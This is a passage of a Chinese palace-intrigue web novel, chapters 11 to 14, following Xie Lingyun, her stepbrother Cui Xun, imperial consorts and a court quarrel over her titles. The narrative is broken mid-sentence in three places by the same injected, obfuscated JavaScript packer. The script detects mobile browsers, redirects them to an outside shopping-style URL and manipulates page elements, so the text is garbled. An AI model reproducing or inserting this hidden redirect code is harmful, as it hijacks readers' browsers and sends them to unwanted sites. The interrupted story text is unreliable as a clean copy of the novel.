“罢了,贵嫔有一句话说得没错,瞒瞒你有神武长公主这样的母亲,出身又如此高贵,这个‘江陵郡主’舍给你长姐当,陛下自有更好的爵禄赐给你这个外甥女。”谢皇后问过宫婢时辰,让崔贵妃、萧贵嫔、乔贵姬带各自的小公主回去用午膳。 乔贵姬开口恳求:“娘娘,十二公主挑食,臣妾今日殿中正好传了一桌清河的菜肴,听闻谢二娘子随神武长公主在清河住了半年,可否请娘娘开恩放谢二娘子陪十二公主用午膳?十二公主有同龄的孩子陪膳,总是进得香些。” 谢皇后看向又矮又瘦的十二公主,温温笑道:“本宫茹素多年,论饭食的花样,还是你们殿中的多。瞒瞒,你随乔娘娘与十二公主去。” 乔贵姬不甚欣喜,向谢皇后屈膝致谢。 “那等谢二娘子在臣妾殿中歇完午觉,臣妾再亲自将谢二娘子送回坤仪殿来。” 谢皇后颌首应允。 崔贵妃牵过十公主的小手,对女儿酸溜溜道:“长乐,你要是也像你长宁妹妹那样挑食,瞒瞒姐姐就到我们殿中去玩了。没准儿等哪一日神武长公主进宫,人家还能记得有你这么一个侄女儿。” 萧贵嫔招手让十三公主贴到自己身边来,摸了摸女儿的顶发道:“长平,以后少和你长乐姐姐一起疯玩,人家的阿娘只想让人家捡高枝攀呢。” 谢皇后扶额,“小公主们都是金枝玉叶,什么高枝不高枝的,若这样的话传到陛下耳朵里,陛下降旨罚贵妃、贵嫔闭宫思过,你们别又一个二个到本宫的坤仪殿来哭。还是前朝的规矩好啊,皇子公主们都养在稚宫,不会沾染他们生母的习气。本宫定要向陛下进言恢复前朝旧制,你们全然不懂陛下怜爱你们、不忍让你们骨肉分离的心意。” 崔贵妃、萧贵嫔本来剑拔弩张的,听到谢皇后言语间的威胁,各自气焰下去一半,忙领着小公主们向谢皇后告罪。 谢皇后借机敲打她们几句,适可而止,放她们回自己殿中去。 乔贵姬左手牵着十二公主,右手牵着小灵筠,舍了步撵,三人带着一干宫婢内侍浩浩荡荡回到合欢殿。 不比坤仪殿的肃穆庄严、那般死气沉沉的富贵气象,合欢殿的布置显出主人高雅不俗的情趣,宫院花圃里栽植品类繁多且名贵异常的兰花,小塘里的锦鲤小的也有六七寸长、花色世间罕有。 小灵筠转念一想,韶州乔氏盛产玉矿,永安阮氏盛产金矿,两家在衣冠十姓中皆以豪富闻名。 果然,小灵筠落座于吃饭的圆桌旁,用的碗碟茶盏都是昂贵的墨玉材质。 乔贵姬一面替小灵筠、十二公主布菜盛汤,一面吩咐宫婢去找二皇子和执玉公子来。 小灵筠细嚼慢咽,隐隐明白了乔贵姬携她来合欢殿的目的。 乔贵姬:“谢二娘子,本宫不是存心要瞒你的。在坤仪殿皇后娘娘面前,本宫不好开口说是叫你来见本宫的侄儿的。” “臣女不曾在合欢殿见过贵姬娘娘家的侄儿。”小灵筠道。 乔贵姬朝小灵筠投以感激的目光。 未几,两个玉冠青袍的少年迈入殿中,一个形容清俊,另一个坐在轮椅上的眉眼温柔。 小灵筠一眼便分清了谁是谁,腿脚没毛病的少年便是二皇子,坐轮椅的少年则是乔执玉。 二皇子进殿时尚是兴高采烈,待瞧见小灵筠貌若无盐后,难掩失望的神色。 乔执玉则是一如既往地含着春风般和煦的笑意。 饭毕,乔贵姬特意让二皇子陪自己去哄十二公主睡觉,留小灵筠、乔执玉二人独处。 “说吧,你要见我,是为了谁?”小灵筠挑眉,心里祈求不要是她想的那个荒唐至极的答案。 “去岁中秋夜,你带着婢女在白玉京灯市上赏灯,有一个手持鱼龙灯的婢女我至今难忘,我想向你讨她。”乔执玉道。 “你讨她做什么?”小灵筠不死心追问道。 “做妾。”乔执玉见小灵筠神色不大自然,“谢二娘子,可有为难之处?” 小灵筠颌首,“为难得很。他不是我的婢女,他是、是天家、天家——” 小灵筠欲言又止。 乔执玉:“她是天家的奴婢,怪不得谢二娘子你要为难了。那请谢二娘子告诉我她的名字,我请姑母替我去找。” 小灵筠摇首,“你找到了他也没用,他不可能给你做妾的,你还是把他忘了吧。” 乔执玉一脸怅惘,“若有谢二娘子说的这么容易忘,我也不必思她念她、转辗反侧至今。我是打定主意纳她为妾,且终生不娶妻。” 小灵筠端详他身下的轮椅,目光落在他的双腿上。 “不是今日相见,我也想不到你竟是乔氏的少家主。明明那夜灯市上,你是可以自己走路的。为何——” “与谢二娘子你掩盖自己的容貌才情是一样的原因,为了‘韬光养晦’四字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13908359|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”乔执玉轻咳了两三声。 小灵筠觉得扮乔执玉这样的病弱美人比扮她这样的丑八怪好多了。 乔执玉将话题扯回到他的“白月光”身上,小灵筠搪塞了几句,夺门而出。 乔执玉让小黄门推着他坐的轮椅一路追赶小灵筠,直至追到望仙池边,小灵筠回首一顾,气喘吁吁道:“江南江北那么多美人随你挑,你何必在一棵树下做吊死鬼?” “我认定了的人,一辈子都不变心。”乔执玉朝小灵筠拱手,“谢二娘子,请怜我一片痴心。” “扑通”一声,乔执玉坐的轮椅侧滑,连人带轮椅一齐掉落池水之中。 小灵筠方才看见了一块石头击向了轮椅左侧,她举目四顾,寻找扔石头的人,对上一双幽幽的黑眸。 慕星野与崔循立在不远处的一棵柳树下。 慕星野揶揄崔循道:“诗经有云,窈窕淑女,君子好逑。有这么出色的一头猪拱你家的烂白菜,你怎么还不乐意了?执玉可支援了你崔氏的白袍军不少军饷,你这是有了妹妹不要兄弟啊。” 崔循望着在望仙池中不停扑腾的乔执玉,寒声道:“兄弟是兄弟,妹婿是妹婿。乔执玉他越界了。” 乔执玉对她说的那些暧昧不清的言语令他不悦至极。 “慕星野——”小灵筠朝这边大喊,“你快点跳下去把乔郎君捞上来。”她可不敢使唤崔循。 慕星野用眼神征询崔循的意见,崔循一副“你要敢跳下去,我就断你慕氏活路”的模样儿,慕星野立刻打起退堂鼓,朝小灵筠大喊:“望仙池水冷,我最近着了风寒,有心无力。” 可跟着乔执玉的小黄门跑去喊人了,等小黄门回来,乔执玉可能都要沉底了。 小灵筠心一横,如一尾灵巧的小鱼跃入望仙池中。 循声赶来的周澈见小灵筠跳下望仙池救人,他也毫不犹豫跳了下去。 “两个救一个,这下不用担心执玉了。”慕星野高兴得太早,还没反应过来,就被崔循一脚踹入了望仙池中。 “星野,护着谢小二。”崔循的目光一刻也不离在望仙池中狗刨式划水的小灵筠,他自己不会凫水,跳下去只会添乱。 折腾了一刻钟不到,扑腾到望仙池中央的乔执玉被周澈捞了上来,慕星野则跟在小灵筠身后护她游上岸。 等在岸上的崔循早命人去崔贵妃的关雎殿借来披风。 小灵筠一上岸,他就为她裹上披风。 “别凉着了,随我去关雎殿沐浴更衣。” “我去姑母那里。”小灵筠抖着声音道。 “关雎殿离这儿最近,听我的。”崔循揽过小灵筠,带着她往关雎殿去。 她似是想到了什么,回身想要阻止乔执玉见周澈的面。 却是迟了。 躺在岸边的乔执玉吐了一些水后,意识清明了一些,一见周澈,露出错愕的眼神。 “你竟是男儿身?” “完了,彻底完了。”小灵筠已经不敢回想去岁中秋夜发生的事情。 12. 第 12 章 凤箫声动,玉壶光转,一夜鱼龙舞。① 这句描绘元夕夜的诗句也可以用在景元十二年八月十五日那夜。 正值中秋佳节,阖家团圆之日。 但对小灵筠而言,那团圆只是她父兄与贾氏母女的团圆罢了。 小灵筠不耐谢氏庄园她融不进去的热闹,被周澈派人接到了他在皇城外置的私宅。 那处私宅的名字叫蛮园。 小灵筠知道周澈的秘密,他忘不了一个小娘子,不是出自于男女情爱的忘不了,是出于一世也弥补不了的遗憾的那种忘不了。 因此,他也生了些呆症痴念,说要替那惨死的小娘子活下去,竟有了穿女装涂脂抹粉扮女孩儿的癖好。 这个秘密只有小灵筠知道。 加上周澈面白无须喉结较小,兼有男生女貌之相,扮起女孩儿来可以说是毫无破绽。 小灵筠那夜去了白玉京灯市赏灯。 周澈梳了双鬟髻、好好一番描眉画眼,又穿了一袭白玉兰襦裙,相伴小灵筠左右。 小小的女孩儿面黄肌瘦,她身旁的婢女却是玉容花颜,引了许多少年的目光打量他们主仆二人。 二人正停在一处看杂耍百戏,周澈的美色倒遭了一个肥头肥脑的纨绔公子的惦记。 那纨绔公子呼喊家仆一拥而上,要将周澈抢上他的马车。 自古美人落难,少不得英雄来救。 乔执玉正好做了一回救美的英雄。 只是那夜,乔执玉、小灵筠、周澈都没有自报家门。 以为也就是这一面之缘。 小灵筠客客气气对乔执玉说了道谢报恩之类的话,心里却想着还是不要再见为好,周澈这扮相若捅到帝后面前可是不光彩的事情。 不曾想今日又让乔执玉、周澈见着了第二面。 那边浑身湿漉漉的周澈一脸尴尬。 乔执玉苍白的脸已微微泛红,他还要质问第二句,却听见小灵筠说道:“阿澈哥哥,快回东宫去换过干爽的衣裳,以防皇后娘娘召你去坤仪殿垂询落水之事。” 乔执玉一怔,向周澈伏地叩首问安。 周澈虚扶了他一把,提点他道:“孤与你第一次见面,你莫要认错人了。” 乔执玉讪讪应是。 小灵筠这才随崔循去离这最近的关雎殿沐浴更衣,慕星野也跟上二人的脚步。 崔贵妃早等在宫院廊檐下,请宫婢引小灵筠去十公主阁中洗漱。 本要给小灵筠换上十公主的衣裙,不想谢皇后已打发了摘星、指月送换洗的衣裙来。 崔贵妃让崔循陪着自己在正殿中饮茶。 慕星野刚换好三皇子的衣袍,出来就听见站在鹦鹉架下的摘星对指月低声道:“我们女公子这两日也不知道是不是犯了太岁,昨日才挨了那个偏心大娘子的敏怀公子重重一巴掌,今日被这位执玉公子纠缠不休,又成了落汤鸡。” 架子上的鹦鹉学舌道:“落汤鸡!落汤鸡!” 摘星轻笑。 指月蹙了蹙眉,抬手捂住摘星的唇,对摘星摇首道:“鹦鹉架下不可乱言女公子的私事。” 慕星野暗暗记下了,去到正殿加入了崔贵妃、崔循的闲谈。 崔贵妃看向慕星野,笑道:“听说你哥哥和晋阳沈氏的大娘子定了亲,沈将军最疼他家两个女儿,昨日沈将军还向陛下进言想要改改衣冠十姓家主之位传男不传女的规矩,陛下管得了华族这些事吗?还不是各家拿各家的主意,这沈大娘子将来继任沈氏家主之位,你哥哥是慕氏家主,倒不知东风压倒了西风?还是西风压倒了东风?” 后宫不可干政,但靖帝的后宫嫔妃多是衣冠十姓出身,这些华族女子母族势强,有时候并不将皇族礼法放在眼里。 慕星野:“哥哥自然是听沈大娘子的,沈大娘子的嫡系飞霜军与我家南府兵大比武时,可不是次次南府兵输给飞霜军,我哥哥在南府兵中的威信都快没了,这将来还不知南府兵是姓慕还是姓沈呢?” 崔贵妃难掩笑意,“这也是我们清河崔氏有先见之明,便是怕这外戚擅权之事,才有了家主不可娶妻生子的规矩。”又望向崔循,“只是苦了我们阿循,也怪他爹爹只长了一个装满风月的脑子,他爹爹倒是和神武长公主双宿双栖了,我们阿循这一辈子只能形单影只。” 崔循坐得端正,似清朗的一轮月,冷艳的五官光华夺目,引得崔贵妃不由自主的为侄儿惋惜。 慕星野:“贵妃娘娘您放心,阿循他一向不近女色,更无视那些向她示好的女郎。他就想自己冷冷清清一个人过,心无旁骛,没有软肋。我是个不成器的,等兄长成了婚,我也要娶妻生子,我样样不如阿循,只子嗣一事上能胜过他而已。” 崔贵妃望向崔循,“孤家寡人,站得再高,也无甚意趣。” 她知道侄儿的野心不止于封侯拜相,自己虽与靖帝育有三子,但夫妻情意、母子情分终究不抵她对母族的忠心耿耿。 崔循抿唇不语,直直看向殿门口那个稚气的眉眼间溢满愁绪的女孩儿。 崔贵妃循着侄儿的目光望去,弯了弯唇角。 “谢二娘子的生辰也巧,与蛮蛮的生辰在同一日,但蛮蛮是个多漂亮的小娘子,这谢二娘子生得着实丑了一些。你将她看作妹妹疼爱,但可别忘了,她有一位让陛下及华族都忌惮的母亲。她的母亲,将来可是要与你争个你死我活的。” 周娥媖与崔循心中装的都是天下,名为母子,实为死敌。 “我用小兽去引母兽进圈套,姑母是做母亲的人,应知‘关心则乱’。”崔循眸中晦暗如潮,待小灵筠近前,又换了温良无害的面孔。 崔氏代代家主需断情绝爱,但这如同一个诅咒,他们最后都是死于情爱的孤魂。 人越得不到什么,越渴望什么。 崔贵妃希望崔循不会走上他祖宗们的老路。 “谢二娘子,饮了暖身的姜汤吗?”崔贵妃慈爱地问询。 小灵筠坐在宫婢搬来的绣墩子上,“臣女喝姜汤会吐,怕因此脏了娘娘的宝地。” “换红枣桂圆汤亦是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13931930|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的功效。” 崔循说完,宫婢便去准备。 正殿中四人闲谈了有半个时辰,待昭仪殿的女官来接小灵筠回去,小灵筠方向崔贵妃辞行。 她今日是要住在宫里的。 崔循则与慕星野出宫回官邸居住。 出了皇城,慕星野骑马跟在崔循乘坐的马车一侧,漫不经心说道:“宫里的眼线说,谢二娘子今日来求皇后娘娘为她长姐请封‘江陵郡主’,她倒是会忍气吞声的,方才在崔贵妃处我偷听到她两个婢女闲聊,她昨日挨了她兄长的打,被一巴掌扇在脸上,这谢敏怀可真不是个东西。你我都见过她的长姐,美则美矣,却是个极会装柔弱惹人怜爱的女郎。她在样貌上就吃了大亏,可不要被她长姐欺负得死死的。” “她没和我说她在谢家受的委屈,她挨了谁的巴掌,也不关我的事。”车内的崔循寒声道。 慕星野却听出他的话语间带了几分杀气,知他嘴硬,也不拆穿他。 “有父若无父,有兄若无兄。啧啧啧,再摊上这样一个妖精似的长姐,她身份再高贵,活得也不甚如意。”话锋一转,“阿循,不如我娶了她,将她接到我慕家来,反正她与我未来嫂嫂沈梵处得那么好。” “这还没天黑,你就做起梦来了。”崔循从车内掷出一枚私印给到慕星野,“去我白袍军中前锋营调一千精锐到小春城,我有用处。” “前锋营?”慕星野以为自己听错了,各家军队的前锋营里的兵士至少都是以一敌百的高手,且培养起来没有十年的火候不能成材。 “对,前锋营。”崔循道。 “小春城位于白玉京与江陵的中心点,我记得是你的封地,你封地内自有驻扎的卫队,你又不常去小春城,将前锋营的一千精锐调去那里,岂不浪费了?”慕星野实在猜不出崔循此举的用意。 “你近来越发多话了,我让你办事,你还要我向你解释。”崔循清冷的话音中透露一丝不耐烦。 慕星野赶紧闭嘴,怕崔循罚他。 前方出现一队车马,看那香车上挂的两盏灯笼,应是盛京姜氏的女郎出游。 慕星野勒了勒手中的马缰,摆出一副看好戏的模样,别让他猜着香车里坐的是那一位。 对面香车内的婢女探出半个脑袋来张望,随后向香车内的美人禀道:“五娘子,婢子瞧得真真的,对面是崔相坐的那辆翠盖珠缨八宝车。” 美人将手里的销金泥骨折扇扔给婢女,“你下车去,将这折扇呈给慕小将军,烦他替我转交给崔相。” 婢女得了吩咐,下车小跑至慕星野马前,自报家门后,将折扇双手奉于慕星野。 慕星野展开扇面一阅,坏笑道:“你家五娘子有心了。” 婢女回那香车上回话。 这边慕星野向车内的崔循道:“扇面画了大梁北长城的边防图,想来这姜五娘子请你吃酒,你不得不去敷衍她一回了。” 崔循揉了揉自己的眉心,“将折扇还回去。没有她姜姒的边防图,我照样能攻破大梁的北长城。” 13. 第 13 章 慕星野依言将折扇还于香车上对崔循翘首以盼的姜姒。 等不及让家仆搬来垫脚凳,姜姒直接提着裙摆下车,奔向崔循乘坐的马车前。 姜姒端庄行礼道:“臣女姜姒求见崔相。” 车内的小书童替崔循答道:“大人说不见姜五娘子,请姜五娘子给自己留些体面。” 眼泪如断线珍珠滑落面颊,她长这么大,唯一受过的委屈就是得不到崔循的回应。 姜姒红着眼眶哽咽道:“在盛京,我也是父兄的掌上明珠。我被千宠万爱着长大,十三岁就受封盛京郡主,是衣冠十姓中最早得爵禄的女郎。你崔循凭什么对我视而不见?” “大人说,姜五娘子再不让开的话,便命车夫扬鞭催赶姜五娘子了。”依旧是那小书童替崔循回答。 美人落泪,还是名盛天下的第一美人落泪,却让马背上的慕星野动了恻隐之心,劝道:“阿循,姜五娘子这些年来因倾慕你的痴心受了不少风言风语,她也不过是个十五岁的年轻女郎,怪可怜的,你便好好与她说几句软话吧。” 小书童从车厢内出来,站在车厢前的木板上,扬起手中长鞭,照慕星野胸前狠狠抽了一鞭。 “大人说,慕小将军教他做事,僭越了。” 接着第二鞭便抽在姜姒的右肩上,不等小书童开口说话,姜姒便痛得晕了过去。 姜家仆婢连忙将他家女郎扶回香车上。 姜家的车队还给崔循的车队让行。 慕星野并不在乎自己胸前这道鞭伤,他兄长慕危止将五岁的他送到清河认崔循做义兄,崔循与他同岁、只比他大两个月,但他的诗书武艺都是崔循教他的,他一做错事便被崔循责打,早已习惯了他的喜怒无常。 “你仇家满天下,何必再与盛京姜氏结怨。” 打了姜氏家主姜洵的爱妹,明日朝堂上且有的闹呢。 “母亲、蛮蛮与我当年被叛军一路追到姜氏在潜江的猎堡附近,姜姒在猎堡外游玩遭叛军所俘,母亲心软命我带领部分亲卫回头救下姜姒,又命我将姜姒送还她家猎堡,可姜洵、姜姒兄妹俩害怕被叛军盯上,主动与叛军暴露我母亲、蛮蛮及亲卫队逃离的方向以求保全猎堡中的姜家人。”崔循声音颤颤,“我母亲对他姜氏有恩,他姜氏对我母亲有仇,今日打在姜姒身上的这一鞭,难不成打错了吗?” 他对姜姒有两次救命之恩,却是这份厚重的恩情,将他母亲、妹妹逼上了绝路。 他当年送还姜姒之后,还未追上母亲、蛮蛮所在的那支车队,便听闻叛军已按照姜洵、姜姒兄妹指引抄近路去追母亲、蛮蛮所在的那支车队的噩耗,他当时别无他法,只能沿着车辙压在道上的痕迹连夜赶路,期盼母亲、蛮蛮所在的那支车队逃得快一些、更快一些、再快一些…… 慕星野叹了口气,知道崔循母亲、妹妹惨死于叛军之手这件事已成了他的心病,他不会放过当年背刺他母亲、妹妹的姜家人的。 “明日朝堂之上,我知道你要干什么,但兄长啊,这比天高、比海深的仇恨,请不要自己一个人担负。星野得兄长教养十年,星野身上背的弓、腰间挎的剑都是为了护卫兄长的安危。”说到后面已是泪盈满眶、泣不成声。 “星野,你身上有鞭伤,好好在我的官邸休养。”崔循命小书童先鞭打慕星野,便是为了将他从崔姜两家的仇怨中摘出去,“慕氏子弟还是不要掺和进崔姜两家的私事中来,你明日若有上皇极殿的心思,我先命人打折你两条腿。” 慕星野咬唇不语,一直到回到相府,都不曾与直奔书房的崔循说上一句话。 * 小灵筠在坤仪殿陪谢皇后用过晚膳,又携了一壶谢皇后亲手煮的姜汤去东宫探望周澈。 周澈刚收到姑母神武长公主寄来的家书。 周娥媖托他将缕金蝉纱赐给小灵筠糊窗,因谢皇后崇尚俭朴,而周娥媖好不容易在女儿心目中树立严母形象,由他来赐纱最为合适。 周澈饮着小灵筠带来的姜汤,漫不经心道:“前几日孤得了一车缕金蝉纱,总共一百匹,瞒瞒你带回府用来糊窗甚好。” 缕金蝉纱是窗纱中的纱王,能根据一日十二个时辰不同的光照而变换颜色,是有钱也买不到的名贵之物。 小灵筠推辞再三不敢受。 周澈晓之以情、动之以理,终于说动了小灵筠。 他又命七宝找来两套玉犀杯赐给小灵筠。 这两套玉犀杯薄如蝉翼,极其考究工匠雕刻的手艺,是万里挑一的稀罕之物。 小灵筠心头一动,这极其易碎的玉犀杯倒可以拿回家大做文章。 * 次日的皇极殿还未至靖帝升座的时辰,殿前便集聚了喧闹的文武百官,礼仪官多次高声提醒官员们不可交头接耳、大声喧哗,可那些衣冠十姓出身的官员充耳不闻、只各自说各自的,礼仪官也拿他们没有办法。 “崔相——” “崔相——” “崔相——” …… 文武百官给身着玄色官袍的崔循让出一条路来,一个个屏气敛声、弓腰低首,方才的热闹全然不见。 礼仪官小跑过来向崔循行礼,谄媚道:“陛下还未升座,请崔相先去偏殿饮茶等候。” 崔循回首扫过一众官员,“今日朝堂上要议的事情比常日多了好几桩,去催请陛下提前至皇极殿升座。” 礼仪官露出为难的神色,但见崔循面色阴沉,不情不愿遣出小黄门去催请靖帝。 及至靖帝在皇极殿升座,也是像个木头人一样呆坐着静静听官员们议事。 前几件事项靖帝很快有了处置的意见。 待谢琰出列,持笏向靖帝为长女谢神爱请封“江陵郡主”,却遭了崔循的冷眼侧目。 靖帝昨夜已与谢皇后商定好了这件事,捋了捋须,道:“长幼有序,嫡庶有别。朕准封谢氏长女为江陵郡主,食邑八百户。谢氏次女乃朕皇姐神武长公主亲女,准封其为靖郡主,食邑三千户。” 靖帝昨夜收到了神武长公主为女儿请封郡主的家书,思来想去,封号定了“靖”,大靖的“靖”,算是他给皇姐的体面。 谢敏怀对靖帝的旨意不满,出列为谢神爱抱屈。 “陛下,我江陵谢氏并不看重嫡庶。江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938873|147355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陵郡主居长,靖郡主居幼。食邑之数上,靖郡主的食邑不宜多于江陵郡主。臣请陛下更正旨意,莫伤江陵郡主与靖郡主的姊妹情分。” 靖帝是故意厚此薄彼的,小灵筠是他的亲外甥女,那谢神爱算什么东西。 “按道理来说,朝堂上不应论家事,但朕亦看不过眼你们父子俩合起伙来欺负朕皇姐留在谢氏的幼女。靖郡主身上流淌着天家、江陵谢氏、兰陵萧氏三家血脉,非江陵郡主卑贱之身可比。这道旨意朕不改。” “臣请陛下更正旨意。”崔循出列,“神武长公主乃臣继母,靖郡主为臣继妹,臣为靖郡主请封雪衣侯,请陛下再赐食邑三千户。” 女子封侯从未有过先例,御史台几位御史刚要出列来高谈阔论礼法,却被崔循几声轻咳震慑,他们纷纷又退了回去。 谢敏怀沉不住气,当面与崔循辩道:“崔相,靖郡主不过十岁,于我大靖江山社稷没有功劳也没有苦劳,她一个黄毛小丫头,凭何封侯?” 崔循轻蔑一笑,“若我为江陵郡主请封雪衣侯,小谢大人也出来反对么?” 一句话便怼得谢敏怀哑口无言。 崔循冷声道:“小谢大人偏心江陵郡主,本官就不能偏心靖郡主么?便凭靖郡主呼本官为‘兄长’,我崔循之妹,焉能不封侯?” 若他妹妹小崔妩还在,不用长到十岁,他便为他妹妹请封侯爵了。 “请陛下怜崔相一片爱妹之心。”慕太尉出列陈请。 “请陛下怜崔相一片爱妹之心。”乔御史出列陈请。 “请陛下怜崔相一片爱妹之心。”沈将军出列陈请。 …… 文武百官竟有一大半出列陈请。 靖帝的心亦是偏着自己的外甥女的,开了女子不能封侯的先例。 “那就依崔爱卿所言,加封谢氏次女为雪衣侯,另赐食邑五千户。” 这多出的两千户,一千户看在神武长公主的面子上,一千户看在崔循的面子上。 谢敏怀硬是压下心中怒火,在他父亲谢琰的眼色下回列。 崔循却是不依不饶,“小谢大人出言顶撞本官,以下犯上,请陛下赐小谢大人廷杖三十。” 谢敏怀怒不可遏,“崔循,是不是谢灵筠那个小贱人在你面前搬弄是非?” “咆哮朝堂,请陛下加赐小谢大人廷杖二十。”崔循未曾偏首看过谢敏怀一眼,嫌弃他这脏东西。 “崔循,只有你把那个心机深重的丑八怪当宝——”未等谢敏怀说完,靖帝已示意金瓜武士堵住谢敏怀的嘴,将谢敏怀拖到殿外行廷杖。 “敏怀这竖子对靖郡主不念兄妹之情,朕早想赐他廷杖了。”靖帝幽幽道。 他早就想打谢敏怀了,只是顾及谢氏的体面,迟迟未打他。 谢敏怀今日受的五十廷杖,可不是他要打的,是崔循要打。 要结梁子,也是江陵谢氏与清河崔氏两家结梁子,不关天家的事。 殿外谢敏怀哀嚎声不止。 按耐许久的姜洵终于出列,高声道:“崔循辱我姜氏颜面,臣请陛下为我姜氏做主,罢免崔循宰相之位。” 14. 第 14 章 崔循俊美的长眉一扬,面不改色道:“姜大人,本官何时辱你姜氏颜面了?” 龙椅上的靖帝闭目养神,华族间的争斗,非他一言能够定夺,能够决定输赢的,还是要看衣冠十姓各家背后的兵力强弱。 官员们大多都在看好戏,便是以往站队崔循的,也有面子上敬畏崔循而心里头不服他的,此刻皆盼望着姜洵能将崔循踩下去。 姜洵本不欲将昨日自家妹妹遭崔循的小书童鞭打的事公之于众,但开弓没有回头箭,他今日不能将崔循从宰相之位上拉下来的话,往后绝没有他的好果子吃。 “陛下,昨日崔循纵仆行凶,臣妹遭崔循命小书童鞭打,身心俱损。” “本官是在替姜大人教妹。盛京郡主身为姜氏贵女,光天化日之下,对外男纠缠不休,自辱姜氏门楣。”崔循话毕,官员们开始窃窃私语。 姜洵正要代盛京姜氏向崔循背后的清河崔氏宣战,小灵筠携其母神武长公主的手书上殿宣读。 手书完整大意为:神武长公主责继子崔循暴戾恣睢,命其辞去宰相之位速归清河闭门修身养性。 “瞒瞒,将你母亲的手书呈与朕看。”小灵筠将手书奉于接应的内侍,再由内侍转奉于靖帝手上。 靖帝一时间猜不出神武长公主的用意。 小灵筠面向崔循的方位而立,“父母之命不可违,请兄长除冠致仕。” 少女清冷的话音回荡在大殿之上,文武百官噤声,靖帝依旧沉默。 最后是崔循妥协,举手摘下了头戴的漆纱笼冠,又向靖帝说了一番冠冕堂皇的辞官之语。 靖帝一手紧握神武长公主手书,一手扶额道:“国不可一日无相,朕本不应准崔爱卿辞官归故里,但朕素来敬重皇姐,崔爱卿也不好拂逆神武长公主心意,那便准了崔爱卿归清河向神武长公主尽孝。” 崔循顶着官员们惊诧不已的目光向靖帝谢恩。 姜洵一副得意的嘴脸。 小灵筠偷偷用余光打量殿中官员们的神色,很快就分清了哪些是追随崔循的官员。 她随崔循出了殿门,瞧见被杖打得奄奄一息、趴在地上的谢敏怀,只轻轻皱了皱眉,便不再将目光停留在谢敏怀身上。 小灵筠身量只到崔循胸口位置,迈出的步子也没有他的大,她几乎是小跑着跟在崔循身后。 “你是去坤仪殿,还是出皇城?”崔循没有回首顾小灵筠一眼,径直向前走。 “我回江陵去。”小灵筠道。 “回不得,你兄长才因你挨了五十廷杖,他必要怨你的。”崔循道。 小灵筠想了想,“那我就去投奔住在白玉京的小姐妹,让她们收留我几日好了。” 崔循止了脚步,一转身,小灵筠的额头撞上他的心口。 他揉了揉她的小脑袋,“你都能想到投奔你在白玉京的小姐妹,怎就想不到直接投奔为兄呢?” “你不是要回清河去吗?”小灵筠仰首望他,“母亲要我转告你,今日你就得启程,一刻也耽搁不得的。”她偷偷将一枚兵符塞入崔循袖中,“祝兄长此行得偿所愿。” “明年我亲自来接你去清河同母亲住。”崔循转身离去。 小灵筠望着他高大的背影,又将他与谢敏怀比较,竟觉得这位继兄比她的亲兄待她要好。 * 小灵筠没有回江陵去,而是在崔循送她的位于小春城的庄园小住了些时日。 除这处庄园外,崔循还赠给她五百仆婢、一支一千人的亲卫队。 待她正式受封靖郡主、雪衣侯那日,她先进宫向帝后谢恩,周澈又用东宫的仪仗送小灵筠风风光光回江陵。 饶谢敏怀咽不下心中那口气、想要寻小灵筠的不痛快,碍于小灵筠如今身上的爵禄,他也只能偃旗息鼓、窝在自己的少悔堂好好养伤。 谢琰对小灵筠的关怀亦多了不少,隔日便要到墨香斋来喝一杯茶,二房三房的夫人、少夫人也常来墨香斋送点心衣裙给小灵筠。 风水轮流转,相较于热闹的墨香斋,谢神爱居住的青萝居显得冷清至极。 这日,小灵筠命摘星拿那两套周澈赐给她的玉犀杯去送给二房、三房的两位叔母。 摘星领着两个婢女特意从青萝居门口过,掐准了时间撞见服侍谢神爱的乳母梅姑。 摘星故意对梅姑视而不见,被梅姑扯着嗓子喊住。 梅姑:“摘星姑娘的眼睛是长在头顶上了,见到老身也不来问好。” 摘星带着两个婢女与梅姑见礼。 梅姑回礼后,目光落在摘星身后两个婢女的手中的锦盒上。 摘星:“我们女公子命婢子送两套玉犀杯给二房、三房两位夫人。” 梅姑自然知道玉犀杯的珍贵,想着二房、三房势弱,那两位夫人虽是她家大娘子的长辈,但她若要欺压她们,她们也无话可说,不能什么阿猫阿狗都骑在她家大娘子头上作威作福吧。 一心想要耍威风的梅姑命自己身后的婢子去抢那两个锦盒。 摘星大叫:“梅姑,你这是做什么?” 梅姑冷笑道:“二房、三房那两位夫人可消受不起这么好的东西,这两套玉犀杯还是让老婆子我拿回青萝居给大娘子用吧。” “啪嗒”两声,两个锦盒摔在地上,两套玉犀杯也摔了个稀碎。 